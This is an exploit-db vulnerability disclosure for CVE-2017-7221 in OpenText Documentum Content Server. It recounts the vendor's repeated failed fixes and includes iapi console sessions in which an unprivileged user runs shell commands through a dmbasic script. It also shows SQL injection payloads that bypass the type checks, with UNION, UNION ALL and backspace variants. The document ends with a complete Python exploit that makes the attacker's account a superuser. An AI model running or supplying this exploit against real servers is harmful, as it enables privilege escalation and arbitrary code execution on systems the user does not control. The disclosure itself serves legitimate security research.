OpenText Documentum Content Server – dm_bp_transition.ebs docbase Method Arbitrary Code Execution

  • 作者: Andrey B. Panfilov
    日期: 2017-04-25
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/41928/
  • '''
    CVE Identifier: CVE-2017-7221
    Vendor: OpenText
    Affected products: OpenText Documentum Content Server (all versions)
    Researcher: Andrey B. Panfilov
    Severity Rating: CVSS v3 Base Score: 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
    Fix: not available
    PoC: https://gist.github.com/andreybpanfilov/0a4fdfad561e59317a720e702b0fec44
    
    Description: 
    
    all versions of Documentum Content Server contain dm_bp_transition docbase 
    method ("stored procedure”) which is written on basic, implementation of this docbase 
    methods does not properly validate user input which allows attacker to execute arbitrary 
    code with superuser privileges.
    
    Related code snippet is:
    
    ==========================================8<========================================
    
    'Evaluate the user-defined entry criteria
    If (result = True And run_entry = "T") Then
    If (debug = True) Then
    PrintToLog sess, "Run user defined entry criteria."
    End If
    '
    ' researcher comment:
    ' userEntryID parameter is controlled by attacker
    '
    result = RunProcedure(userEntryID, 1, sess, sysID,_
    user_name, targetState)
    End If
    
    ...
    
    '
    ' researcher comment:
    ' procID parameter is controlled by attacker
    '
    
    Function RunProcedure(procID As String, procNo As Integer,_
    sessID As String, objID As String, userName As String,_
    targetState As String) As Boolean
    
    ...
    
    StartIt:
    If (procID <> "0000000000000000") Then
    result = CheckStatus("", 1, "loading procedure " & procID, True, errorMsg)
    '
    ' researcher comment:
    ' here basic interpreter loads content of user-provided script
    ' from underlying repostiory using following technique:
    ' 
    ' checking that it is dealing with dm_procedure object
    ' (check was introduced in CVE-2014-2513):
    ' id,c,dm_procedure where r_object_id='procID'
    ' 
    ' getting content of basic script
    ' fetch,c,procID
    ' getpath,c,l
    '
    
    result = external(procID)
    If (result = True) Then
    If (procNo = 1) Then
    ' --- Running user-defined entry criteria ---
    result = CheckStatus("", 1, "Running EntryCriteria", True, errorMsg)
    On Error Goto NoFunction
    '
    ' researcher comment
    ' here dmbasic interpreter executes user defined function
    '
    result = EntryCriteria(sessID, objID, userName,_
    targetState, errorStack)
    If (result = False) Then
    errorStack = "[ErrorCode] 1500 [ServerError] " + _
    errorStack
    End If
    
    ==========================================>8========================================
    
    So, attacker is able to create it’s own basic procedure in repository and pass it’s identifier
    as argument for dm_bp_transition procedure:
    
    
    ==========================================8<========================================
    $ cat /tmp/test
    cat: /tmp/test: No such file or directory
    $ cat > test.ebs
    Public Function EntryCriteria(ByVal SessionId As String,_
    ByVal ObjectId As String,_
    ByVal UserName As String,_
    ByVal TargetState As String,_
    ByRef ErrorString As String) As Boolean
    t = ShellSync("echo dm_bp_transition_has_vulnerability > /tmp/test")
    EntryCriteria=True
    End Function
    $ iapi
    Please enter a docbase name (docubase): repo
    Please enter a user (dmadmin): unprivileged_user
    Please enter password for unprivileged_user:
    
    
    EMC Documentum iapi - Interactive API interface
    (c) Copyright EMC Corp., 1992 - 2011
    All rights reserved.
    Client Library Release 6.7.1000.0027
    
    
    Connecting to Server using docbase repo
    [DM_SESSION_I_SESSION_START]info: "Session 0101d920800b1a37
    started for user unprivileged_user."
    
    
    Connected to Documentum Server running Release 6.7.1090.0170 Linux.Oracle
    Session id is s0
    API> create,c,dm_procedure
    ...
    0801d920804e5416
    API> set,c,l,object_name
    SET> test
    ...
    OK
    API> setfile,c,l,test.ebs,crtext
    ...
    OK
    API> save,c,l
    ...
    OK
    API> ?,c,execute do_method with method='dm_bp_transition',
    arguments='repo repo dmadmin "" 0000000000000000 0000000000000000
    0000000000000000 0801d920804e5416 0000000000000000 0000000000000000
    0000000000000000 "" 0 0 T F T T dmadmin 0000000000000000'
    (1 row affected)
    
    API> Bye
    $ cat /tmp/test
    dm_bp_transition_has_vulnerability
    
    ==========================================>8========================================
    
    
    Vendor was been notified about this vulnerability on November 2013 using customer 
    support channel, after a while vendor started claiming that this vulnerability 
    was remediated, though no CVE was announced. Moreover, the fix was contested
    and CERT/CC started tracking this vulnerability, the PoC provided
    to CERT/CC was:
    
    ==========================================8<========================================
    Vendor have decided that the root cause of problem is users are able to
    create dm_procedure objects, and now in Documentum Content Server
    v6.7SP1P26 we have following behavior:
    
    [DM_SESSION_I_SESSION_START]info: "Session 0101d920800f0174 started for
    user unprivileged_user."
    
    
    Connected to Documentum Server running Release 6.7.1260.0322 Linux.Oracle
    Session id is s0
    API> create,c,dm_procedure
    ...
    0801d920805929d0
    API> set,c,l,object_name
    SET> test
    ...
    OK
    API> setfile,c,l,test.ebs,crtext
    ...
    OK
    API> save,c,l
    ...
    [DM_USER_E_NEED_SU_OR_SYS_PRIV]error: "The current user
    (unprivileged_user) needs to have superuser or sysadmin privilege."
    
    BUT:
    
    API> create,c,dm_document
    ...
    0901d920805929dd
    API> set,c,l,object_name
    SET> test
    ...
    OK
    API> setfile,c,l,test.ebs,crtext
    ...
    OK
    API> save,c,l
    ...
    OK
    
    API> ?,c,execute do_method with
    method='dm_bp_transition',arguments='repo repo dmadmin ""
    0000000000000000 0000000000000000 0000000000000000 0901d920805929dd
    0000000000000000 0000000000000000 0000000000000000 "" 0 0 T F T T
    dmadmin 0000000000000000'
    (1 row affected)
    
    ....
    
    API> Bye
    ~]$ cat /tmp/test
    dm_bp_transition_has_vulnerability
    ~]$
    
    ==========================================>8========================================
    
    On July 2014 vendor announced ESA-2014-064 which was claiming that vulnerability has been remediated.
    
    On November 2014 fix was contested (there was significant delay after ESA-2014-064 because vendor 
    constantly fails to provide status of reported vulnerabilities) by providing another proof of concept, 
    description provided to CERT/CC was:
    
    ==========================================8<========================================
    I have tried to reproduce PoC, described in VRF#HUFPRMOP, and got following
    error:
    
    [ErrorCode] 1000 [Parameter] 0801fd08805c9dfe [ServerError] Unexpected
    error: [DM_API_W_NO_MATCH]warning: "There was no match in the
    docbase for the qualification: dm_procedure where r_object_id =
    '0801fd08805c9dfe'"
    
    Such behaviour means that EMC tried to remediate a security issue by
    "checking" object type of supplied object:
    
    Connected to Documentum Server running Release 6.7.2190.0198 Linux.Oracle
    Session id is s0
    API> id,c,dm_procedure where r_object_id = '0801fd08805c9dfe'
    ...
    [DM_API_W_NO_MATCH]warning: "There was no match in the docbase for the
    qualification: dm_procedure where r_object_id = '0801fd08805c9dfe'"
    
    API> Bye
    
    bin]$ strings dmbasic| grep dm_procedure
    id,%s,dm_procedure where object_name = '%s' and folder('%s')
    id,%s,dm_procedure where r_object_id = '%s'
    # old version of dmbasic binary
    bin]$ strings dmbasic| grep dm_procedure
    bin]$
    
    So, the fix was implemented in dmbasic binary, the problem is neither 6.7
    SP2 P15 nor 6.7 SP1 P28 patches contain dmbasic binary - the first patch
    that was shipped with dmbasic binary was 6.7SP2 P17. Moreover, the
    issue is still reproducible because introduced check could be bypassed
    using SQL injection:
    
    ~]$ cat test.ebs
    Public Function EntryCriteria(ByVal SessionId As String,_
    ByVal ObjectId As String,_
    ByVal UserName As String,_
    ByVal TargetState As String,_
    ByRef ErrorString As String) As Boolean
    t = ShellSync("echo dm_bp_transition_has_vulnerability > /tmp/test")
    EntryCriteria=True
    End Function
    ~]$ cat /tmp/test
    cat: /tmp/test: No such file or directory
    
    ~]$ iapi
    Please enter a docbase name (docubase): repo
    Please enter a user (dmadmin): test01
    Please enter password for test01:
    
    
    EMC Documentum iapi - Interactive API interface
    (c) Copyright EMC Corp., 1992 - 2011
    All rights reserved.
    Client Library Release 6.7.2190.0142
    
    
    Connecting to Server using docbase repo
    [DM_SESSION_I_SESSION_START]info: "Session 0101fd088014000c started for
    user test01."
    
    
    Connected to Documentum Server running Release 6.7.2190.0198 Linux.Oracle
    Session id is s0
    API> create,c,dm_sysobject
    ...
    0801fd08805c9dfe
    API> set,c,l,object_name
    SET> test
    ...
    OK
    API> setfile,c,l,test.ebs,crtext
    ...
    OK
    API> save,c,l
    ...
    OK
    API> ?,c,execute do_method WITH METHOD='dm_bp_transition', ARGUMENTS='
    repo repo dmadmin "" 0000000000000000 0000000000000000
    0000000000000000 "0801fd08805c9dfe,'' union select r_object_id
    from dm_sysobject where r_object_id=''0801fd08805c9dfe"
    0000000000000000 0000000000000000 0000000000000000 ""
    0 0 T F T T dmadmin 0000000000000000'
    
    ...
    
    (1 row affected)
    
    API> Bye
    ~]$ cat /tmp/test
    dm_bp_transition_has_vulnerability
    ~]$
    
    Here "union ..." allows to bypass check based on "id" call:
    
    Connected to Documentum Server running Release 6.7.2190.0198 Linux.Oracle
    Session id is s0
    API> id,c,dm_procedure where r_object_id='0801fd08805c9dfe,' union
    select r_object_id from dm_sysobject where
    r_object_id='0801fd08805c9dfe'
    ...
    0801fd08805c9dfe
    API> apply,c,,GET_LAST_SQL
    ...
    q0
    API> next,c,q0
    ...
    OK
    API> get,c,q0,result
    ...
    
    select all dm_procedure.r_object_id from dm_procedure_sp dm_procedure where
    ((dm_procedure.r_object_id='0801fd08805c9dfe,')) and
    (dm_procedure.i_has_folder = 1 and dm_procedure.i_is_deleted = 0)
    union select all dm_sysobject.r_object_id from dm_sysobject_sp
    dm_sysobject where ((dm_sysobject.r_object_id= '0801fd08805c9dfe'))
    and (dm_sysobject.i_has_folder = 1 and dm_sysobject.i_is_deleted = 0)
    
    API> close,c,q0
    ...
    OK
    
    Comma is required to bypass error in fetch call:
    API> fetch,c,0801fd08805c9dfe' union select r_object_id from
    dm_sysobject where r_object_id='0801fd08805c9dfe
    ...
    [DM_API_E_BADID]error: "Bad ID given: 0801fd08805c9dfe' union
    select r_object_id from dm_sysobject where r_object_id=
    '0801fd08805c9dfe"
    
    
    API> fetch,c,0801fd08805c9dfe,' union select r_object_id from
    dm_sysobject where r_object_id='0801fd08805c9dfe
    ...
    OK
    ==========================================>8========================================
    
    On August 2015 vendor had undertaken another attempt to remediate this vulnerability
    check ESA-2015-131/CVE-2015-4533 for details.
    
    On August 2015 the fix was contested, check http://seclists.org/bugtraq/2015/Aug/110
    for detailed description - I just demonstrated another attack vector - using 
    UNION ALL keyword instead of UNION:
    
    =================================8<================================
    API> ?,c,execute do_method WITH METHOD='dm_bp_transition', ARGUMENTS='
    repo repo dmadmin "" 0000000000000000 0000000000000000
    0000000000000000 "0801fd08805c9dfe,'' union select r_object_id
    from dm_sysobject where r_object_id=''0801fd08805c9dfe"
    0000000000000000 0000000000000000 0000000000000000 ""
    0 0 T F T T dmadmin 0000000000000000'
    
    [DM_METHOD_E_METHOD_ARGS_INVALID]error:
    "The arguments being passed to the method 'dm_bp_transition' are
    invalid:
    arguments contain sql keywords which are not allowed."
    
    
    New attack vector (note ALL keyword):
    
    API> ?,c,execute do_method WITH METHOD='dm_bp_transition', ARGUMENTS='
    repo repo dmadmin "" 0000000000000000 0000000000000000
    0000000000000000 "0801fd08805c9dfe,'' union all select r_object_id
    from dm_sysobject where r_object_id=''0801fd08805c9dfe"
    0000000000000000 0000000000000000 0000000000000000 ""
    0 0 T F T T dmadmin 0000000000000000'
    
    =================================>8================================
    
    
    Recently I have noticed that latest versions of Documentum Content
    Server are not affected by the PoC provided above, however all versions
    of Documentum Content Server are still vulnerable because vendor incorrectly
    implemented input validation: they convert arguments to lower/upper-case, 
    replace line feed, carriage return and tab characters by a space, 
    remove double spaces, after that they check where resulting string contains 
    special keywords ('union ' and 'union all') or not - it is possible 
    to use other whitespace characters like backspace, which is demonstrated
    in the PoC.
    
    
    __
    
    Regards,
    Andrey B. Panfilov
    
    
    
    CVE-2017-7221.py
    '''
    
    #!/usr/bin/env python
    
    import socket
    import sys
    from os.path import basename
    
    from dctmpy.docbaseclient import DocbaseClient
    from dctmpy.obj.typedobject import TypedObject
    
    CIPHERS = "ALL:aNULL:!eNULL"
    
    
    def usage():
    print "usage:\n\t%s host port user password" % basename(sys.argv[0])
    
    
    def main():
    if len(sys.argv) != 5:
    usage()
    exit(1)
    
    (session, docbase) = create_session(*sys.argv[1:5])
    
    if is_super_user(session):
    print "Current user is a superuser, nothing to do"
    exit(1)
    
    install_owner = session.serverconfig['r_install_owner']
    document_id = session.next_id(0x08)
    content_id = session.next_id(0x06)
    
    store = session.get_by_qualification("dm_store")
    format = session.get_by_qualification("dm_format where name='crtext'")
    handle = session.make_pusher(store['r_object_id'])
    if handle < 1:
    print "Unable to create pusher"
    exit(1)
    
    data = "Public Function EntryCriteria(ByVal SessionId As String,_" \
     "\nByVal ObjectId As String,_" \
     "\nByVal UserName As String,_" \
     "\nByVal TargetState As String,_" \
     "\nByRef ErrorString As String) As Boolean" \
     "\nDim QueryID As String" \
     "\nDim Query As String" \
     "\nQuery = \"query,c,update dm_user objects set " \
     "user_privileges=16 where user_name=\'%s\'\"" \
     "\nQueryID = dmAPIGet(Query)" \
     "\nQueryID = dmAPIExec(\"commit,c\")" \
     "\nEntryCriteria=True" \
     "\nEnd Function" % (sys.argv[3])
    
    b = bytearray()
    b.extend(data)
    
    if not session.start_push(handle, content_id, format['r_object_id'], len(b)):
    print "Failed to start push"
    exit(1)
    
    session.upload(handle, b)
    data_ticket = session.end_push_v2(handle)['DATA_TICKET']
    
    procedure = False
    try:
    print "Trying to create dm_procedure"
    document = TypedObject(session=session)
    document.set_string("OBJECT_TYPE", "dm_procedure")
    document.set_bool("IS_NEW_OBJECT", True)
    document.set_int("i_vstamp", 0)
    document.set_int("world_permit", 7)
    document.set_string("object_name", "CVE-2014-2513")
    document.set_string("r_object_type", "dm_procedure")
    document.append_id("i_contents_id", content_id)
    document.set_int("r_page_cnt", 1)
    document.set_string("a_content_type", format['name'])
    document.set_bool("i_has_folder", True)
    document.set_bool("i_latest_flag", True)
    document.set_id("i_chronicle_id", document_id)
    document.append_string("r_version_label", ["1.0", "CURRENT"])
    document.set_int("r_content_size", len(b))
    if session.sys_obj_save(document_id, document):
    procedure = True
    except Exception, e:
    print str(e)
    
    if not procedure:
    print "Failed to create dm_procedure"
    print "Trying to create dm_sysobject"
    document = TypedObject(session=session)
    document.set_string("OBJECT_TYPE", "dm_sysobject")
    document.set_bool("IS_NEW_OBJECT", True)
    document.set_int("i_vstamp", 0)
    document.set_string("owner_name", sys.argv[3])
    document.set_int("world_permit", 7)
    document.set_string("object_name", "CVE-2017-7221")
    document.set_string("r_object_type", "dm_sysobject")
    document.append_id("i_contents_id", content_id)
    document.set_int("r_page_cnt", 1)
    document.set_string("a_content_type", format['name'])
    document.set_bool("i_has_folder", True)
    document.set_bool("i_latest_flag", True)
    document.set_id("i_chronicle_id", document_id)
    document.append_string("r_version_label", ["1.0", "CURRENT"])
    document.set_int("r_content_size", len(b))
    if not session.sys_obj_save(document_id, document):
    print "Failed to create dm_sysobject"
    exit(1)
    
    content = TypedObject(session=session)
    content.set_string("OBJECT_TYPE", "dmr_content")
    content.set_bool("IS_NEW_OBJECT", True)
    content.set_id("storage_id", store['r_object_id'])
    content.set_id("format", format['r_object_id'])
    content.set_int("data_ticket", data_ticket)
    content.set_id("parent_id", document_id)
    content.set_int("page", 0)
    content.set_string("full_format", format['name'])
    content.set_int("content_size", len(b))
    if not session.save_cont_attrs(content_id, content):
    print "Failed to create content"
    exit(1)
    
    if procedure:
    query = "execute do_method WITH METHOD='dm_bp_transition'," \
    " ARGUMENTS='%s %s %s \"\" 0000000000000000 " \
    "0000000000000000 0000000000000000 \"%s\" " \
    "00000000000000000000000000000000 0000000000000000 " \
    "\"\" 0 0 T F T T %s %s'" % \
    (docbase, docbase, install_owner, document_id,
     install_owner, session.session)
    else:
    query = "execute do_method WITH METHOD='dm_bp_transition'," \
    " ARGUMENTS='%s %s %s \"\" 0000000000000000 " \
    "0000000000000000 0000000000000000 \"%s,'' " \
    "union\b select r_object_id fromdm_sysobject(all) where r_object_id=''%s\" " \
    "00000000000000000000000000000000 0000000000000000 " \
    "\"\" 0 0 T F T T %s %s'" % \
    (docbase, docbase, install_owner, document_id,
     document_id, install_owner, session.session)
    
    session.query(query)
    
    r = session.query(
    "select user_privileges from dm_user "
    "where user_name=USER") \
    .next_record()['user_privileges']
    if r != 16:
    print "Failed"
    exit(1)
    print "P0wned!"
    
    
    def create_session(host, port, user, pwd, identity=None):
    print "Trying to connect to %s:%s as %s ..." % \
    (host, port, user)
    session = None
    try:
    session = DocbaseClient(
    host=host, port=int(port),
    username=user, password=pwd,
    identity=identity)
    except socket.error, e:
    if e.errno == 54:
    session = DocbaseClient(
    host=host, port=int(port),
    username=user, password=pwd,
    identity=identity,
    secure=True, ciphers=CIPHERS)
    else:
    raise e
    docbase = session.docbaseconfig['object_name']
    version = session.serverconfig['r_server_version']
    print "Connected to %s:%s, docbase: %s, version: %s" % \
    (host, port, docbase, version)
    return (session, docbase)
    
    
    def is_super_user(session):
    user = session.get_by_qualification(
    "dm_user WHERE user_name=USER")
    if user['user_privileges'] == 16:
    return True
    group = session.get_by_qualification(
    "dm_group where group_name='dm_superusers' "
    "AND any i_all_users_names=USER")
    if group is not None:
    return True
    
    return False
    
    
    if __name__ == '__main__':
    main()